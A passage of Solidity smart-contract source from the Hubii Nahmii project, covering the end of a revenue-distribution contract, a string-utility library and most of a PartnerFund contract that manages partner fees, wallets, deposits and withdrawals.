returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
return txHistory.deposit(index);
}
/// @notice Close the current accrual period of the given currencies
/// @param currencies The concerned currencies
function closeAccrualPeriod(MonetaryTypesLib.Currency[] memory currencies)
public
onlyOperator
{
require(
ConstantsLib.PARTS_PER() == totalBeneficiaryFraction,
"Total beneficiary fraction out of bounds [RevenueFund.sol:236]"
);
// Execute transfer
for (uint256 i = 0; i < currencies.length; i++) {
MonetaryTypesLib.Currency memory currency = currencies[i];
int256 remaining = periodAccrual.get(currency.ct, currency.id);
if (0 >= remaining)
continue;
for (uint256 j = 0; j < beneficiaries.length; j++) {
AccrualBeneficiary beneficiary = AccrualBeneficiary(address(beneficiaries[j]));
if (beneficiaryFraction(beneficiary) > 0) {
int256 transferable = periodAccrual.get(currency.ct, currency.id)
.mul(beneficiaryFraction(beneficiary))
.div(ConstantsLib.PARTS_PER());
if (transferable > remaining)
transferable = remaining;
if (transferable > 0) {
// Transfer ETH to the beneficiary
if (currency.ct == address(0))
beneficiary.receiveEthersTo.value(uint256(transferable))(address(0), "");
// Transfer token to the beneficiary
else {
TransferController controller = transferController(currency.ct, "");
(bool success,) = address(controller).delegatecall(
abi.encodeWithSelector(
controller.getApproveSignature(), address(beneficiary), uint256(transferable), currency.ct, currency.id
)
);
require(success, "Approval by controller failed [RevenueFund.sol:274]");
beneficiary.receiveTokensTo(address(0), "", transferable, currency.ct, currency.id, "");
}
remaining = remaining.sub(transferable);
}
}
}
// Roll over remaining to next accrual period
periodAccrual.set(remaining, currency.ct, currency.id);
}
// Close accrual period of accrual beneficiaries
for (uint256 j = 0; j < beneficiaries.length; j++) {
AccrualBeneficiary beneficiary = AccrualBeneficiary(address(beneficiaries[j]));
// Require that beneficiary fraction is strictly positive
if (0 >= beneficiaryFraction(beneficiary))
continue;
// Close accrual period
beneficiary.closeAccrualPeriod(currencies);
}
// Emit event
emit CloseAccrualPeriodEvent();
}
}
/**
* Strings Library
*
* In summary this is a simple library of string functions which make simple
* string operations less tedious in solidity.
*
* Please be aware these functions can be quite gas heavy so use them only when
* necessary not to clog the blockchain with expensive transactions.
*
* @author James Lockhart <[email protected]>
*/
library Strings {
/**
* Concat (High gas cost)
*
* Appends two strings together and returns a new value
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string which will be the concatenated
* prefix
* @param _value The value to be the concatenated suffix
* @return string The resulting string from combinging the base and value
*/
function concat(string memory _base, string memory _value)
internal
pure
returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length > 0);
string memory _tmpValue = new string(_baseBytes.length +
_valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for (i = 0; i < _baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for (i = 0; i < _valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
/**
* Index Of
*
* Locates and returns the position of a character within a string
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string acting as the haystack to be
* searched
* @param _value The needle to search for, at present this is currently
* limited to one character
* @return int The position of the needle starting from 0 and returning -1
* in the case of no matches found
*/
function indexOf(string memory _base, string memory _value)
internal
pure
returns (int) {
return _indexOf(_base, _value, 0);
}
/**
* Index Of
*
* Locates and returns the position of a character within a string starting
* from a defined offset
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string acting as the haystack to be
* searched
* @param _value The needle to search for, at present this is currently
* limited to one character
* @param _offset The starting point to start searching from which can start
* from 0, but must not exceed the length of the string
* @return int The position of the needle starting from 0 and returning -1
* in the case of no matches found
*/
function _indexOf(string memory _base, string memory _value, uint _offset)
internal
pure
returns (int) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length == 1);
for (uint i = _offset; i < _baseBytes.length; i++) {
if (_baseBytes[i] == _valueBytes[0]) {
return int(i);
}
}
return -1;
}
/**
* Length
*
* Returns the length of the specified string
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string to be measured
* @return uint The length of the passed string
*/
function length(string memory _base)
internal
pure
returns (uint) {
bytes memory _baseBytes = bytes(_base);
return _baseBytes.length;
}
/**
* Sub String
*
* Extracts the beginning part of a string based on the desired length
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string that will be used for
* extracting the sub string from
* @param _length The length of the sub string to be extracted from the base
* @return string The extracted sub string
*/
function substring(string memory _base, int _length)
internal
pure
returns (string memory) {
return _substring(_base, _length, 0);
}
/**
* Sub String
*
* Extracts the part of a string based on the desired length and offset. The
* offset and length must not exceed the lenth of the base string.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string that will be used for
* extracting the sub string from
* @param _length The length of the sub string to be extracted from the base
* @param _offset The starting point to extract the sub string from
* @return string The extracted sub string
*/
function _substring(string memory _base, int _length, int _offset)
internal
pure
returns (string memory) {
bytes memory _baseBytes = bytes(_base);
assert(uint(_offset + _length) <= _baseBytes.length);
string memory _tmp = new string(uint(_length));
bytes memory _tmpBytes = bytes(_tmp);
uint j = 0;
for (uint i = uint(_offset); i < uint(_offset + _length); i++) {
_tmpBytes[j++] = _baseBytes[i];
}
return string(_tmpBytes);
}
/**
* String Split (Very high gas cost)
*
* Splits a string into an array of strings based off the delimiter value.
* Please note this can be quite a gas expensive function due to the use of
* storage so only use if really required.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string value to be split.
* @param _value The delimiter to split the string on which must be a single
* character
* @return string[] An array of values split based off the delimiter, but
* do not container the delimiter.
*/
function split(string memory _base, string memory _value)
internal
pure
returns (string[] memory splitArr) {
bytes memory _baseBytes = bytes(_base);
uint _offset = 0;
uint _splitsCount = 1;
while (_offset < _baseBytes.length - 1) {
int _limit = _indexOf(_base, _value, _offset);
if (_limit == -1)
break;
else {
_splitsCount++;
_offset = uint(_limit) + 1;
}
}
splitArr = new string[](_splitsCount);
_offset = 0;
_splitsCount = 0;
while (_offset < _baseBytes.length - 1) {
int _limit = _indexOf(_base, _value, _offset);
if (_limit == - 1) {
_limit = int(_baseBytes.length);
}
string memory _tmp = new string(uint(_limit) - _offset);
bytes memory _tmpBytes = bytes(_tmp);
uint j = 0;
for (uint i = _offset; i < uint(_limit); i++) {
_tmpBytes[j++] = _baseBytes[i];
}
_offset = uint(_limit) + 1;
splitArr[_splitsCount++] = string(_tmpBytes);
}
return splitArr;
}
/**
* Compare To
*
* Compares the characters of two strings, to ensure that they have an
* identical footprint
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string base to compare against
* @param _value The string the base is being compared to
* @return bool Simply notates if the two string have an equivalent
*/
function compareTo(string memory _base, string memory _value)
internal
pure
returns (bool) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
if (_baseBytes.length != _valueBytes.length) {
return false;
}
for (uint i = 0; i < _baseBytes.length; i++) {
if (_baseBytes[i] != _valueBytes[i]) {
return false;
}
}
return true;
}
/**
* Compare To Ignore Case (High gas cost)
*
* Compares the characters of two strings, converting them to the same case
* where applicable to alphabetic characters to distinguish if the values
* match.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string base to compare against
* @param _value The string the base is being compared to
* @return bool Simply notates if the two string have an equivalent value
* discarding case
*/
function compareToIgnoreCase(string memory _base, string memory _value)
internal
pure
returns (bool) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
if (_baseBytes.length != _valueBytes.length) {
return false;
}
for (uint i = 0; i < _baseBytes.length; i++) {
if (_baseBytes[i] != _valueBytes[i] &&
_upper(_baseBytes[i]) != _upper(_valueBytes[i])) {
return false;
}
}
return true;
}
/**
* Upper
*
* Converts all the values of a string to their corresponding upper case
* value.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string base to convert to upper case
* @return string
*/
function upper(string memory _base)
internal
pure
returns (string memory) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
_baseBytes[i] = _upper(_baseBytes[i]);
}
return string(_baseBytes);
}
/**
* Lower
*
* Converts all the values of a string to their corresponding lower case
* value.
*
* @param _base When being used for a data type this is the extended object
* otherwise this is the string base to convert to lower case
* @return string
*/
function lower(string memory _base)
internal
pure
returns (string memory) {
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
_baseBytes[i] = _lower(_baseBytes[i]);
}
return string(_baseBytes);
}
/**
* Upper
*
* Convert an alphabetic character to upper case and return the original
* value when not alphabetic
*
* @param _b1 The byte to be converted to upper case
* @return bytes1 The converted value if the passed value was alphabetic
* and in a lower case otherwise returns the original value
*/
function _upper(bytes1 _b1)
private
pure
returns (bytes1) {
if (_b1 >= 0x61 && _b1 <= 0x7A) {
return bytes1(uint8(_b1) - 32);
}
return _b1;
}
/**
* Lower
*
* Convert an alphabetic character to lower case and return the original
* value when not alphabetic
*
* @param _b1 The byte to be converted to lower case
* @return bytes1 The converted value if the passed value was alphabetic
* and in a upper case otherwise returns the original value
*/
function _lower(bytes1 _b1)
private
pure
returns (bytes1) {
if (_b1 >= 0x41 && _b1 <= 0x5A) {
return bytes1(uint8(_b1) + 32);
}
return _b1;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title PartnerFund
* @notice Where partners’ fees are managed
*/
contract PartnerFund is Ownable, Beneficiary, TransferControllerManageable {
using FungibleBalanceLib for FungibleBalanceLib.Balance;
using TxHistoryLib for TxHistoryLib.TxHistory;
using SafeMathIntLib for int256;
using Strings for string;
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Partner {
bytes32 nameHash;
uint256 fee;
address wallet;
uint256 index;
bool operatorCanUpdate;
bool partnerCanUpdate;
FungibleBalanceLib.Balance active;
FungibleBalanceLib.Balance staged;
TxHistoryLib.TxHistory txHistory;
FullBalanceHistory[] fullBalanceHistory;
}
struct FullBalanceHistory {
uint256 listIndex;
int256 balance;
uint256 blockNumber;
}
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
Partner[] private partners;
mapping(bytes32 => uint256) private _indexByNameHash;
mapping(address => uint256) private _indexByWallet;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event ReceiveEvent(address from, int256 amount, address currencyCt, uint256 currencyId);
event RegisterPartnerByNameEvent(string name, uint256 fee, address wallet);
event RegisterPartnerByNameHashEvent(bytes32 nameHash, uint256 fee, address wallet);
event SetFeeByIndexEvent(uint256 index, uint256 oldFee, uint256 newFee);
event SetFeeByNameEvent(string name, uint256 oldFee, uint256 newFee);
event SetFeeByNameHashEvent(bytes32 nameHash, uint256 oldFee, uint256 newFee);
event SetFeeByWalletEvent(address wallet, uint256 oldFee, uint256 newFee);
event SetPartnerWalletByIndexEvent(uint256 index, address oldWallet, address newWallet);
event SetPartnerWalletByNameEvent(string name, address oldWallet, address newWallet);
event SetPartnerWalletByNameHashEvent(bytes32 nameHash, address oldWallet, address newWallet);
event SetPartnerWalletByWalletEvent(address oldWallet, address newWallet);
event StageEvent(address from, int256 amount, address currencyCt, uint256 currencyId);
event WithdrawEvent(address to, int256 amount, address currencyCt, uint256 currencyId);
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address deployer) Ownable(deployer) public {
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Fallback function that deposits ethers
function() external payable {
_receiveEthersTo(
indexByWallet(msg.sender) - 1, SafeMathIntLib.toNonZeroInt256(msg.value)
);
}
/// @notice Receive ethers to
/// @param tag The tag of the concerned partner
function receiveEthersTo(address tag, string memory)
public
payable
{
_receiveEthersTo(
uint256(tag) - 1, SafeMathIntLib.toNonZeroInt256(msg.value)
);
}
/// @notice Receive tokens
/// @param amount The concerned amount
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param standard The standard of token ("ERC20", "ERC721")
function receiveTokens(string memory, int256 amount, address currencyCt,
uint256 currencyId, string memory standard)
public
{
_receiveTokensTo(
indexByWallet(msg.sender) - 1, amount, currencyCt, currencyId, standard
);
}
/// @notice Receive tokens to
/// @param tag The tag of the concerned partner
/// @param amount The concerned amount
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param standard The standard of token ("ERC20", "ERC721")
function receiveTokensTo(address tag, string memory, int256 amount, address currencyCt,
uint256 currencyId, string memory standard)
public
{
_receiveTokensTo(
uint256(tag) - 1, amount, currencyCt, currencyId, standard
);
}
/// @notice Hash name
/// @param name The name to be hashed
/// @return The hash value
function hashName(string memory name)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(name.upper()));
}
/// @notice Get deposit by partner and deposit indices
/// @param partnerIndex The index of the concerned partner
/// @param depositIndex The index of the concerned deposit
/// return The deposit parameters
function depositByIndices(uint256 partnerIndex, uint256 depositIndex)
public
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
// Require partner index is one of registered partner
require(0 < partnerIndex && partnerIndex <= partners.length, "Some error message when require fails [PartnerFund.sol:160]");
return _depositByIndices(partnerIndex - 1, depositIndex);
}
/// @notice Get deposit by partner name and deposit indices
/// @param name The name of the concerned partner
/// @param depositIndex The index of the concerned deposit
/// return The deposit parameters
function depositByName(string memory name, uint depositIndex)
public
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
// Implicitly require that partner name is registered
return _depositByIndices(indexByName(name) - 1, depositIndex);
}
/// @notice Get deposit by partner name hash and deposit indices
/// @param nameHash The hashed name of the concerned partner
/// @param depositIndex The index of the concerned deposit
/// return The deposit parameters
function depositByNameHash(bytes32 nameHash, uint depositIndex)
public
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
// Implicitly require that partner name hash is registered
return _depositByIndices(indexByNameHash(nameHash) - 1, depositIndex);
}
/// @notice Get deposit by partner wallet and deposit indices
/// @param wallet The wallet of the concerned partner
/// @param depositIndex The index of the concerned deposit
/// return The deposit parameters
function depositByWallet(address wallet, uint depositIndex)
public
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
// Implicitly require that partner wallet is registered
return _depositByIndices(indexByWallet(wallet) - 1, depositIndex);
}
/// @notice Get deposits count by partner index
/// @param index The index of the concerned partner
/// return The deposits count
function depositsCountByIndex(uint256 index)
public
view
returns (uint256)
{
// Require partner index is one of registered partner
require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:213]");
return _depositsCountByIndex(index - 1);
}
/// @notice Get deposits count by partner name
/// @param name The name of the concerned partner
/// return The deposits count
function depositsCountByName(string memory name)
public
view
returns (uint256)
{
// Implicitly require that partner name is registered
return _depositsCountByIndex(indexByName(name) - 1);
}
/// @notice Get deposits count by partner name hash
/// @param nameHash The hashed name of the concerned partner
/// return The deposits count
function depositsCountByNameHash(bytes32 nameHash)
public
view
returns (uint256)
{
// Implicitly require that partner name hash is registered
return _depositsCountByIndex(indexByNameHash(nameHash) - 1);
}
/// @notice Get deposits count by partner wallet
/// @param wallet The wallet of the concerned partner
/// return The deposits count
function depositsCountByWallet(address wallet)
public
view
returns (uint256)
{
// Implicitly require that partner wallet is registered
return _depositsCountByIndex(indexByWallet(wallet) - 1);
}
/// @notice Get active balance by partner index and currency
/// @param index The index of the concerned partner
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// return The active balance
function activeBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
// Require partner index is one of registered partner
require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:265]");
return _activeBalanceByIndex(index - 1, currencyCt, currencyId);
}
/// @notice Get active balance by partner name and currency
/// @param name The name of the concerned partner
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// return The active balance
function activeBalanceByName(string memory name, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
// Implicitly require that partner name is registered
return _activeBalanceByIndex(indexByName(name) - 1, currencyCt, currencyId);
}
/// @notice Get active balance by partner name hash and currency
/// @param nameHash The hashed name of the concerned partner
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// return The active balance
function activeBalanceByNameHash(bytes32 nameHash, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
// Implicitly require that partner name hash is registered
return _activeBalanceByIndex(indexByNameHash(nameHash) - 1, currencyCt, currencyId);
}
/// @notice Get active balance by partner wallet and currency
/// @param wallet The wallet of the concerned partner
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// return The active balance
function activeBalanceByWallet(address wallet, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
// Implicitly require that partner wallet is registered
return _activeBalanceByIndex(indexByWallet(wallet) - 1, currencyCt, currencyId);
}
/// @notice Get staged balance by partner index and currency
/// @param index The index of the concerned partner
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// return The staged balance
function stagedBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
// Require partner index is one of registered partner
require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:323]");
return _stagedBalanceByIndex(index - 1, currencyCt, currencyId);
}
/// @notice Get staged balance by partner name and currency
/// @param name The name of the concerned partner
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// return The staged balance
function stagedBalanceByName(string memory name, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
// Implicitly require that partner name is registered
return _stagedBalanceByIndex(indexByName(name) - 1, currencyCt, currencyId);
}
/// @notice Get staged balance by partner name hash and currency
/// @param nameHash The hashed name of the concerned partner
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// return The staged balance
function stagedBalanceByNameHash(bytes32 nameHash, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
// Implicitly require that partner name is registered
return _stagedBalanceByIndex(indexByNameHash(nameHash) - 1, currencyCt, currencyId);
}
/// @notice Get staged balance by partner wallet and currency
/// @param wallet The wallet of the concerned partner
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// return The staged balance
function stagedBalanceByWallet(address wallet, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
// Implicitly require that partner wallet is registered
return _stagedBalanceByIndex(indexByWallet(wallet) - 1, currencyCt, currencyId);
}
/// @notice Get the number of partners
/// @return The number of partners
function partnersCount()
public
view
returns (uint256)
{
return partners.length;
}
/// @notice Register a partner by name
/// @param name The name of the concerned partner
/// @param fee The partner's fee fraction
/// @param wallet The partner's wallet
/// @param partnerCanUpdate Indicator of whether partner can update fee and wallet
/// @param operatorCanUpdate Indicator of whether operator can update fee and wallet
function registerByName(string memory name, uint256 fee, address wallet,
bool partnerCanUpdate, bool operatorCanUpdate)
public
onlyOperator
{
// Require not empty name string
require(bytes(name).length > 0, "Some error message when require fails [PartnerFund.sol:392]");
// Hash name
bytes32 nameHash = hashName(name);
// Register partner
_registerPartnerByNameHash(nameHash, fee, wallet, partnerCanUpdate, operatorCanUpdate);
// Emit event
emit RegisterPartnerByNameEvent(name, fee, wallet);
}
/// @notice Register a partner by name hash
/// @param nameHash The hashed name of the concerned partner
/// @param fee The partner's fee fraction
/// @param wallet The partner's wallet
/// @param partnerCanUpdate Indicator of whether partner can update fee and wallet
/// @param operatorCanUpdate Indicator of whether operator can update fee and wallet
function registerByNameHash(bytes32 nameHash, uint256 fee, address wallet,
bool partnerCanUpdate, bool operatorCanUpdate)
public
onlyOperator
{
// Register partner
_registerPartnerByNameHash(nameHash, fee, wallet, partnerCanUpdate, operatorCanUpdate);
// Emit event
emit RegisterPartnerByNameHashEvent(nameHash, fee, wallet);
}
/// @notice Gets the 1-based index of partner by its name
/// @dev Reverts if name does not correspond to registered partner
/// @return Index of partner by given name
function indexByNameHash(bytes32 nameHash)
public
view
returns (uint256)
{
uint256 index = _indexByNameHash[nameHash];
require(0 < index, "Some error message when require fails [PartnerFund.sol:431]");
return index;
}
/// @notice Gets the 1-based index of partner by its name
/// @dev Reverts if name does not correspond to registered partner
/// @return Index of partner by given name
function indexByName(string memory name)
public
view
returns (uint256)
{
return indexByNameHash(hashName(name));
}
/// @notice Gets the 1-based index of partner by its wallet
/// @dev Reverts if wallet does not correspond to registered partner
/// @return Index of partner by given wallet
function indexByWallet(address wallet)
public
view
returns (uint256)
{
uint256 index = _indexByWallet[wallet];
require(0 < index, "Some error message when require fails [PartnerFund.sol:455]");
return index;
}
/// @notice Gauge whether a partner by the given name is registered
/// @param name The name of the concerned partner
/// @return true if partner is registered, else false
function isRegisteredByName(string memory name)
public
view
returns (bool)
{
return (0 < _indexByNameHash[hashName(name)]);
}
/// @notice Gauge whether a partner by the given name hash is registered
/// @param nameHash The hashed name of the concerned partner
/// @return true if partner is registered, else false
function isRegisteredByNameHash(bytes32 nameHash)
public
view
returns (bool)
{
return (0 < _indexByNameHash[nameHash]);
}
/// @notice Gauge whether a partner by the given wallet is registered
/// @param wallet The wallet of the concerned partner
/// @return true if partner is registered, else false
function isRegisteredByWallet(address wallet)
public
view
returns (bool)
{
return (0 < _indexByWallet[wallet]);
}
/// @notice Get the partner fee fraction by the given partner index
/// @param index The index of the concerned partner
/// @return The fee fraction
function feeByIndex(uint256 index)
public
view
returns (uint256)
{
// Require partner index is one of registered partner
require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:501]");
return _partnerFeeByIndex(index - 1);
}
/// @notice Get the partner fee fraction by the given partner name
/// @param name The name of the concerned partner
/// @return The fee fraction
function feeByName(string memory name)
public
view
returns (uint256)
{
// Get fee, implicitly requiring that partner name is registered
return _partnerFeeByIndex(indexByName(name) - 1);
}
/// @notice Get the partner fee fraction by the given partner name hash
/// @param nameHash The hashed name of the concerned partner
/// @return The fee fraction
function feeByNameHash(bytes32 nameHash)
public
view
returns (uint256)
{
// Get fee, implicitly requiring that partner name hash is registered
return _partnerFeeByIndex(indexByNameHash(nameHash) - 1);
}
/// @notice Get the partner fee fraction by the given partner wallet
/// @param wallet The wallet of the concerned partner
/// @return The fee fraction
function feeByWallet(address wallet)
public
view
returns (uint256)
{
// Get fee, implicitly requiring that partner wallet is registered
return _partnerFeeByIndex(indexByWallet(wallet) - 1);
}
/// @notice Set the partner fee fraction by the given partner index
/// @param index The index of the concerned partner
/// @param newFee The partner's fee fraction
function setFeeByIndex(uint256 index, uint256 newFee)
public
{
// Require partner index is one of registered partner
require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:549]");
// Update fee
uint256 oldFee = _setPartnerFeeByIndex(index - 1, newFee);
// Emit event
emit SetFeeByIndexEvent(index, oldFee, newFee);
}
/// @notice Set the partner fee fraction by the given partner name
/// @param name The name of the concerned partner
/// @param newFee The partner's fee fraction
function setFeeByName(string memory name, uint256 newFee)
public
{
// Update fee, implicitly requiring that partner name is registered
uint256 oldFee = _setPartnerFeeByIndex(indexByName(name) - 1, newFee);
// Emit event
emit SetFeeByNameEvent(name, oldFee, newFee);
}
/// @notice Set the partner fee fraction by the given partner name hash
/// @param nameHash The hashed name of the concerned partner
/// @param newFee The partner's fee fraction
function setFeeByNameHash(bytes32 nameHash, uint256 newFee)
public
{
// Update fee, implicitly requiring that partner name hash is registered
uint256 oldFee = _setPartnerFeeByIndex(indexByNameHash(nameHash) - 1, newFee);
// Emit event
emit SetFeeByNameHashEvent(nameHash, oldFee, newFee);
}
/// @notice Set the partner fee fraction by the given partner wallet
/// @param wallet The wallet of the concerned partner
/// @param newFee The partner's fee fraction
function setFeeByWallet(address wallet, uint256 newFee)
public
{
// Update fee, implicitly requiring that partner wallet is registered
uint256 oldFee = _setPartnerFeeByIndex(indexByWallet(wallet) - 1, newFee);
// Emit event
emit SetFeeByWalletEvent(wallet, oldFee, newFee);
}
/// @notice Get the partner wallet by the given partner index
/// @param index The index of the concerned partner
/// @return The wallet
function walletByIndex(uint256 index)
public
view
returns (address)
{
// Require partner index is one of registered partner
require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:606]");
return partners[index - 1].wallet;
}
/// @notice Get the partner wallet by the given partner name
/// @param name The name of the concerned partner
/// @return The wallet
function walletByName(string memory name)
public
view
returns (address)
{
// Get wallet, implicitly requiring that partner name is registered
return partners[indexByName(name) - 1].wallet;
}
/// @notice Get the partner wallet by the given partner name hash
/// @param nameHash The hashed name of the concerned partner
/// @return The wallet
function walletByNameHash(bytes32 nameHash)
public
view
returns (address)
{
// Get wallet, implicitly requiring that partner name hash is registered
return partners[indexByNameHash(nameHash) - 1].wallet;
}
/// @notice Set the partner wallet by the given partner index
/// @param index The index of the concerned partner
/// @return newWallet The partner's wallet
function setWalletByIndex(uint256 index, address newWallet)
public
{
// Require partner index is one of registered partner
require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:642]");
// Update wallet
address oldWallet = _setPartnerWalletByIndex(index - 1, newWallet);
// Emit event
emit SetPartnerWalletByIndexEvent(index, oldWallet, newWallet);
}
/// @notice Set the partner wallet by the given partner name
/// @param name The name of the concerned partner
/// @return newWallet The partner's wallet
function setWalletByName(string memory name, address newWallet)
public
{
// Update wallet
address oldWallet = _setPartnerWalletByIndex(indexByName(name) - 1, newWallet);
// Emit event
emit SetPartnerWalletByNameEvent(name, oldWallet, newWallet);
}
/// @notice Set the partner wallet by the given partner name hash
/// @param nameHash The hashed name of the concerned partner
/// @return newWallet The partner's wallet
function setWalletByNameHash(bytes32 nameHash, address newWallet)
public
{
// Update wallet
address oldWallet = _setPartnerWalletByIndex(indexByNameHash(nameHash) - 1, newWallet);
// Emit event
emit SetPartnerWalletByNameHashEvent(nameHash, oldWallet, newWallet);
}
/// @notice Set the new partner wallet by the given old partner wallet
/// @param oldWallet The old wallet of the concerned partner
/// @return newWallet The partner's new wallet
function setWalletByWallet(address oldWallet, address newWallet)
public
{
// Update wallet
_setPartnerWalletByIndex(indexByWallet(oldWallet) - 1, newWallet);
// Emit event
emit SetPartnerWalletByWalletEvent(oldWallet, newWallet);
}
/// @notice Stage the amount for subsequent withdrawal
/// @param amount The concerned amount to stage
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
function stage(int256 amount, address currencyCt, uint256 currencyId)
public
{
// Get index, implicitly requiring that msg.sender is wallet of registered partner
uint256 index = indexByWallet(msg.sender);
// Require positive amount
require(amount.isPositiveInt256(), "Some error message when require fails [PartnerFund.sol:701]");
// Clamp amount to move
amount = amount.clampMax(partners[index - 1].active.get(currencyCt, currencyId));
partners[index - 1].active.sub(amount, currencyCt, currencyId);
partners[index - 1].staged.add(amount, currencyCt, currencyId);
partners[index - 1].txHistory.addDeposit(amount, currencyCt, currencyId);
// Add to full deposit history
partners[index - 1].fullBalanceHistory.push(
FullBalanceHistory(
partners[index - 1].txHistory.depositsCount() - 1,
partners[index - 1].active.get(currencyCt, currencyId),
block.number
)
);
// Emit event
emit StageEvent(msg.sender, amount, currencyCt, currencyId);
}
/// @notice Withdraw the given amount from staged balance
/// @param amount The concerned amount to withdraw
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param standard The standard of the token ("" for default registered, "ERC20", "ERC721")
function withdraw(int256 amount, address currencyCt, uint256 currencyId, string memory standard)
public
{
// Get index, implicitly requiring that msg.sender is wallet of registered partner
uint256 index = indexByWallet(msg.sender);
// Require positive amount
require(amount.isPositiveInt256(), "Some error message when require fails [PartnerFund.sol:736]");
// Clamp amount to move
amount = amount.clampMax(partners[index - 1].staged.get(currencyCt, currencyId));
partners[index - 1].staged.sub(amount, currencyCt, currencyId);
// Execute transfer
if (address(0) == currencyCt && 0 == currencyId)
msg.sender.transfer(uint256(amount));
else {
TransferController controller = transferController(currencyCt, standard);
(bool success,) = address(controller).delegatecall(
abi.encodeWithSelector(
controller.getDispatchSignature(), address(this), msg.sender, uint256(amount), currencyCt, currencyId
)
);
require(success, "Some error message when require fails [PartnerFund.sol:754]");
}
// Emit event
emit WithdrawEvent(msg.sender, amount, currencyCt, currencyId);
}
//
// Private functions
// -----------------------------------------------------------------------------------------------------------------
/// @dev index is 0-based
function _receiveEthersTo(uint256 index, int256 amount)
private
{
// Require that index is within bounds
require(index < partners.length, "Some error message when require fails [PartnerFund.sol:769]");
// Add to active
partners[index].active.add(amount, address(0), 0);
partners[index].txHistory.addDeposit(amount, address(0), 0);
// Add to full deposit history
partners[index].fullBalanceHistory.push(
FullBalanceHistory(
partners[index].txHistory.depositsCount() - 1,
partners[index].active.get(address(0), 0),
block.number
)
);
// Emit event
emit ReceiveEvent(msg.sender, amount, address(0), 0);
}
/// @dev index is 0-based
function _receiveTokensTo(uint256 index, int256 amount, address currencyCt,
uint256 currencyId, string memory standard)
private
{
// Require that index is within bounds
require(index < partners.length, "Some error message when require fails [PartnerFund.sol:794]");
require(amount.isNonZeroPositiveInt256(), "Some error message when require fails [PartnerFund.sol:796]");
// Execute transfer
TransferController controller = transferController(currencyCt, standard);
(bool success,) = address(controller).delegatecall(
abi.encodeWithSelector(
controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId
)
);
